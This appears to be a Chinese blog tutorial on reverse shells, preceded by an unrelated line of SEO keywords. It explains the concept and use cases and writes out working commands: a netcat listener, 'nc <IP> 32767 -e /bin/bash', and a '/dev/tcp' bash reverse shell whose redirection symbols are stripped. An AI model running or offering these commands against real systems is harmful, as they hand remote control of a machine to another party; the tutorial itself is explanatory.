帝国cms手机网站模板,怎么推广自己的网站,网站seo优化有哪些方面,网站首页添加浮动飘窗概念
Shell 估计大家都不陌生#xff0c;简单来说#xff0c;就是实现用户命令的接口#xff0c;通过这个接口我们就能实现对计算机的控制#xff0c;比如我们常见的 ssh 就是执行的 Shell 命令实现对远程对服务器的控制。
那反弹 Shell #xff08; Reverse Shell…概念
Shell 估计大家都不陌生简单来说就是实现用户命令的接口通过这个接口我们就能实现对计算机的控制比如我们常见的 ssh 就是执行的 Shell 命令实现对远程对服务器的控制。
那反弹 Shell Reverse Shell则是控制端首先监听某个 TCP/UDP 端口然后被控制端向这个端口发起一个请求同时将自己命令行的输入输出转移到控制端从而控制端就可以输入命令来控制被控端了。
比如说我们有两台主机 A、B我们最终想实现在 A 上控制 B。那么如果用正向 Shell其实就是在 A 上输入 B 的连接地址比如通过 ssh 连接到 B连接成功之后我们就可以在 A 上通过命令控制 B 了。如果用反向 Shell那就是在 A 上先开启一个监听端口然后让 B 去连接 A 的这个端口连接成功之后A 这边就能通过命令控制 B了。
适用场景
通常情况下如果想用 ssh 等命令来实现 A 控制 B首先得明确 B 的 sshd 地址或者端口但是在很多情况下由于防火墙、安全组、局域网、NAT 等原因我们实际上是无法直接连接到 B 的比如
A 虽然有公网 IP但 B 是一个处于内网的机器A 就没法直接连到 B 上。B 上开了防火墙或者安全组限制sshd 的服务端口 22 被封闭了。B 是一台拨号主机其 IP 地址经常变动。假如 B 被攻击了我们想让 B 向 A 汇报自己的状况那自然就需要 B 主动去连接 A。
如果是这些情况我们就可以用反弹 Shell 用 A 来控制 B 了。
实战
这里我们一共需要两台主机
A 是控制端可以处于公网之中也可以和 B 处于一个局域网中总之能让 B 找到 A 就行。B 是被控端可以处在局域网之中。
在开始之前我们需要在控制端用到 nc 命令来实现端口监听CentOS 系列系统通过 yum install -y nc 即可。
接着我们在 A 上执行如下命令
nc -lvp 32767这个命令的意思是开启 32767 的端口监听运行之后如图所示 这样就表明 A 上正在监听 32767 端口的连接了。
这时候我们可以在被控端通过如下两种方式连接到 A
在 B 上通过 nc 连接到 A
假如 A 的 IP 是 111.112.113.114那么命令如下
nc 111.112.113.114 32767 -e /bin/bash注意你在运行的时候需要替换成 A 的真实 IP 和端口。 运行完毕之后我们反过来观察下 A就显示了来自某个 IP 和端口的连接我们就可以输入命令来控制 B 了比如这里我们输入了
cat /etc/redhat-release
uname -a然后就可以得到 B 的系统版本信息了。
如图所示 在 B 上通过 bash 连接到 A
命令如下
bash -i /dev/tcp/111.112.113.114/32767 01这个命令大致解释下
bash -i 就是产生一个 bash 交互环境 可以将 bash 交互环境的输入、输出、错误输出都输出到一个地方/dev/tcp/111.112.113.114/32767 其实指的就是目标主机的一个连接地址因为 Linux 环境中所有内容的定义都是以文件的形式存在的指定这个地址就是让主机和目标主机建立一个 TCP 连接。01可以将标准输入和标准输出相结合重定向给前面标准输出的内容。
通过这样的命令我们就可以就是将 B的标准输出和错误输出都重定向给 A并且将 A 的输入都重定向给 B这样我们就可以实现 A 对 B 的远程控制了如图所示 注意
使用时若 A 主机开启防火墙需要对监听端口放行否则会导致 B 连不上A